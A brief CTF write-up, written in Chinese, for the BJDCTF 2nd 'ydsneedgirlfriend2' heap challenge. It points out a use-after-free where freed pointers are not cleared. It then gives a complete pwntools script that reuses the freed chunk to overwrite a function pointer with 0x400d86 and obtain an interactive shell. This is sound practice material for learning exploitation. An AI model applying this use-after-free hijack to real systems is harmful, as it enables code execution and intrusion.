buuoj BJDCTF 2nd ydsneedgirlfriend2

free代码，free以后未置空指针

unsigned __int64 dele()
{
……
      free(*(void **)girlfriends[v1]);
      free((void *)girlfriends[v1]);
 ……
}

可以再次利用

from pwn import *
#sh = process('./ydsneedgirlfriend2')
def add(size,name):
    sh.sendline("1")
    sh.recvuntil('Please input the length of her name:\n')
    sh.sendline(str(size))
    sh.recvuntil('Please tell me her name:\n')
    sh.sendline(name)
    sh.recvuntil("u choice :\n")

def delete(index):
    sh.sendline('2')
    sh.recvuntil('Index :')
    sh.sendline(str(index))
    sh.recvuntil("u choice :\n")

def show(idx):
    sh.recvuntil('choice :\n')
    sh.sendline('3')
    sh.sendlineafter('Index :',str(idx))

sh.recvuntil("u choice :\n")
add(0x10,'0')
delete(0)
payload = p64(0) + p64(0x400d86)
add(0x10,payload)
show(0)
sh.interactive()